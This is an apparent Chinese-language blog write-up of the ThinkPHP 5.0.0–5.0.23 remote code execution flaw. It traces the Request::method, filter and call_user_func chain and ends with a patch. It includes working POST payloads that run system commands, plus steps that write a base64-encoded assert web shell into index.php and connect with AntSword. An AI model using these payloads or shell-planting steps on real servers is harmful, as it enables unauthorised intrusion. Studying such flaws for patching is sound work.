php post 漏洞_ThinkPHP5 5.0.23 远程代码执行漏洞
作者介绍:Ice
国科学院安全学员,在国科学习安全课程,也参与在国科学生会安全团队中进行安全实战能力的提升。本次分享主要是针对现在一款运用极广的开发框架ThinkPHP的远程代码执行漏洞研究,希望给大家带来一些帮助。
0x00背景
ThinkPHP诞生于2006年,是一个国产开源的PHP开发框架,其借鉴了Struts框架的Action对象,同时也使用面向对象的开发结构和MVC模式。ThinkPHP可在Windows和Linux等操作系统运行,支持MySql,Sqlite和PostgreSQL等多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
0x01影响范围
Thinkphp 5.0.0~ 5.0.23
0x02漏洞分析
此处漏洞出现在thinkphp用于处理HTTP请求的Request类中,其中源码存在一个method方法可以用于获取当前的请求类型。
Method方法路径:thinkphp/library/think/Request.php
IsGET、isPOST、isPUT等方法都调用了method方法来做请求类型的判断(只列出来这些,还有其他的,比如head请求、patch请求)
而在默认情况下,是有表单伪装变量的。
var_method为“表单伪装变量”,这个东西在application/config.php里面定义
里面出现了:表单请求类型伪装变量,我上官方论坛看了一下,他是这样定义的
因为html里的form表单的method属性只支持get和post两种,由于源码没有进行任何过滤的措施,我们就可以利用控制_method参数来动态调用类中的任意方法,通过控制$_POST的值来向调用的方法传递参数
在默认情况下,该变量的值为“_method”
但是我们在method方法中,将表单伪装变量对该方法的变量进行覆盖,可以实现对该类的所有函数进行调用。
在request类中,分析一下_construct析构方法
我们看见,如果析构方法中属性不存在(142行),那么就会自己调用配置文件中的default_fileter的值(所以在thinkphp5.0.10版本中,可以构造这样的一个
payload——》s=ipconfig&_mehthod=__construct$method=&filter[]=system)
但是由于thinkphp5.0.23中进行了更新,在APP类中(路径thinkphp/ library/think/App.php)中进行更新,新增设置了filter的属性值,初始化了filter的属性值,所以上个版本的覆盖文件的默认值无法被利用。
而后,我们发现在request中的param方法也调用了method方法,他用于获取当前请求的参数,传入了默认值true
这个时候我们在返回去看_method方法
当传过来的值为true时,会利用到server方法,我们再看一下这个方法
由上可知,我们传过来的参数是REQUEST_METHOD,即name为REQUEST_METHOD,而后就会去调用input方法,我们跟踪一下input方法
我们在跟踪一下getFilter方法看看
很明显这个方法执行了图中画框的代码(不为空),$this->filter被赋值给了$filter,也就是请求中的filter参数
我们在返回input方法,解析过滤器之后,我们发现执行了判断$data是否为数组,如果不是数组就可以将每个值作为一个参数用filterValue进行过滤
我们发现sever方法中的,$this->server被赋予的是一个超全局变量,那么我们就可以在调用析构方法的时候,我们也可以对$this->server的值进行覆盖
在filterValue方法中,调用了call_user_func方法导致了代码执行
这时候发现在在App类中,找到一处调用了$request->param();
在调用param方法之前,进行了未设置调度信息则进行 URL 路由检测的功能。用routeCheck方法来设置$dispatch。然后用exec方法
$config变量是通过initCommon方法中的init方法初始化的
RouteCheck方法,加载config文件导入路由配置,然后通过Route::import加载路由
我们根据路由检测规则,$method给的值不同返回的结果也会不同
Router类中的check方法控制了check函数中的$item变量也就控制了check方法最终返回的值,同时也控制了App类中的调度信息$dispath,而$dispath在App类中的run方法中被exec方法调用
这里使用了switch语句判断$dispath['type']来执行相应的代码。
之前,我们需要调用Request类中的param方法来对filter变量的覆盖。
如果$dispath['type']是controller或者是method的时候可以直接调用param方法。
当我们让$dispath['type']=function的时候,调用了invokeFunction方法, invokeFunction方法调用了bindParams方法也对param方法进行了调用。
我们控制了url中的s参数的值可以设置不同的$method,让routeCheck返回$dispath。
我们将控制的url参数s的设置为captcha,并且设置post数据
所以此时可以构造payload:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
0x03漏洞危害等级
严重
0x04漏洞利用
1、 在网页上构造payload(可以利用burp,也可以在POST上传)
(1)查看目录下的文件(ls)
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
(2)查看id
(3)查看当前目录
(4)查看ip等信息(由于环境搭建在ubuntu,要用到sudo命令,所以可能查不了)
(5)这时候我们还可以更改上述payload中的
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
将其改为phpinfo,发现是可以输出关于 PHP 配置的信息
2、 利用蚁剑工具getshell
为什么使用蚁剑工具?
由于存在过滤,需要用到base64加密来使我们的一句话木马上传成功
我们知道了一定存在index.php这个文件,那么我们就对其进行修改为一句话木马的样式
利用 echo “<?php @eval($_POST[‘xss’]);?>” >index.php 进行测试
为了显示我们成功注入,我们在其中添加字段变为
echo “aaa<?php @eval($_POST[‘xss’]);?>bbb” >index.php
对引号内的进行base64,注意此时的引号不需要进行加密
经过测试,发现eval函数是注入不了的,需要替换为arrest函数才可以成功注入
所以
Echo “aaa<?php @assert($_POST['xss']);?>bbb” >index.php
最后构造出来的payload为
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > index.php
成功回显出aaabbb,说明是加入到了index.php里了
开始用蚁剑,URL地址填写我们一句话木马的位置
注意要选择char16和base64
进入界面
上传测试数据
进入容器看看效果
发现是可以的!
0x05解决方法
自动:升级到最新版本(如果是在5.0.0——5.0.23之间的)
手动:
打开/thinkphp/library/think/Request.php文件,找到method方法(约496行),修改下面代码:
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
改为:
$method = strtoupper($_POST[Config::get('var_method')]);if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);} else {
$this->method = 'POST';}
unset($_POST[Config::get('var_method')]);
0x06 使用条件
国科学院学生会是由国科学院指导开展的学员服务型组织,致力于配合国科学院完成日常工作的开展以及强化锻炼学员的自身职业素养与专业技能,下设部门有技术部和综合部。
如果你们也想提升自我,又或者是想认识这些和你们一样优秀的小伙伴,那就赶快联系指导老师并加入我们吧!
学生会信箱:
student@goktech.cn
php post 漏洞_ThinkPHP5 5.0.23 远程代码执行漏洞相关推荐
- thinkphp5+远程代码执行_ThinkPHP5 5.0.23 远程代码执行漏洞
漏洞描述 ThinkPHP是一款运用极广的PHP开发框架.其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程 ...
- ThinkPHP 5.0.23 远程代码执行 漏洞复现
ThinkPHP 5.0.23 远程代码执行 漏洞复现 一.漏洞描述 二.漏洞影响 三.漏洞复现 1. 环境搭建 2. 漏洞复现 四.漏洞POC 五.参考链接 六.利用工具 一.漏洞描述 ThinkP ...
- rmi远程代码执行漏洞_【漏洞通告】Apache Solr远程代码执行漏洞
1.综述 Apache Solr是美国阿帕奇(Apache)软件基金会的一款基于Lucene(一款全文搜索引擎)的搜索服务器.该产品支持层面搜索.垂直搜索.高亮显示搜索结果等. Apache Solr ...
- [系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)及防御详解
您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...
- 9 月 19 日,腾讯云安全中心监测到 Apache Tomcat 修复了2个严重级别的漏洞, 分别为: 信息泄露漏洞(CVE-2017-12616)、远程代码执行漏洞(CVE-2017-12615
9 月 19 日,腾讯云安全中心监测到 Apache Tomcat 修复了2个严重级别的漏洞, 分别为: 信息泄露漏洞(CVE-2017-12616).远程代码执行漏洞(CVE-2017-12615 ...
- linux struts2漏洞,重大漏洞预警:Struts 2 远程代码执行漏洞(s2-045\s2-046) (含PoC)
背景介绍 近日,安全研究人员发现著名J2EE框架--Struts2存在远程代码执行的漏洞,Struts2官方已经确认该漏洞(S2-045,S2-046),并定级为高危漏洞. Struts2 的使用范围 ...
- oracle11g远程命令执行漏洞,漏洞应急|Oracle Weblogic Server远程代码执行漏洞(CVE-2021-2109)...
近日,锐捷网络CERT安全应急响应团队关注到Oracle官方发布了2021年1月关键补丁更新公告,该补丁中修补了包括 CVE-2021-2109 Weblogic Server远程代码执行漏洞在内的多 ...
- 漏洞通告 | Atlassian Confluence存在远程代码执行漏洞,悬镜云鲨RASP天然免疫防护...
近日,Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的远程代码执行漏洞CVE-2022-26134,攻击者利用该漏洞,无需任何条件即可在Confluence中执行任意命令. 该漏 ...
- 漏洞预警|Apache Karaf 存在远程代码执行漏洞
棱镜七彩安全预警 近日网上有关于开源项目 Apache Karaf 存在远程代码执行漏洞,棱镜七彩威胁情报团队第一时间探测到,经分析研判,向全社会发起开源漏洞预警公告,提醒相关安全团队及时响应. 项目 ...
最新文章
- R语言使用psych包的describeBy函数计算不同分组(group)的描述性统计值(样本个数、均值、标准差、中位数、剔除异常均值、最小最大值、数据范围极差、偏度、峰度、均值标准差等)
- 「技术综述」如何降低遮挡对人脸识别的影响
- 代理(Proxy)及常见示例
- matlab中单独存图_Matlab中图片保存的四种方法
- leetcode874
- nltkdata路径设置linux,NLTK data路径设置
- poj 1324 Holedox Moving
- 提高电脑反应速度_大家都能看懂的电脑内存条挑选技巧,电脑的内存条就应该这样选!...
- ASM 知识(转自三思笔记)
- 画图软件gliffy
- Cox比例风险回归模型单因素多因素生存分析
- Java获取List长度
- 那些年你错过的SOA
- 手把手教你,搭建内网穿透服务
- ios 自定义拍照页面_iOS开发笔记:自定义相机拍照
- kafka内存缓冲池机制造成的频繁GC问题
- 原来漏斗分析应该这样用!
- 常见问题---空指针异常
- 解决办法fonts/fontawesome-webfont.woff2 404
- 接连霸榜,这门国产编程语言是真的强!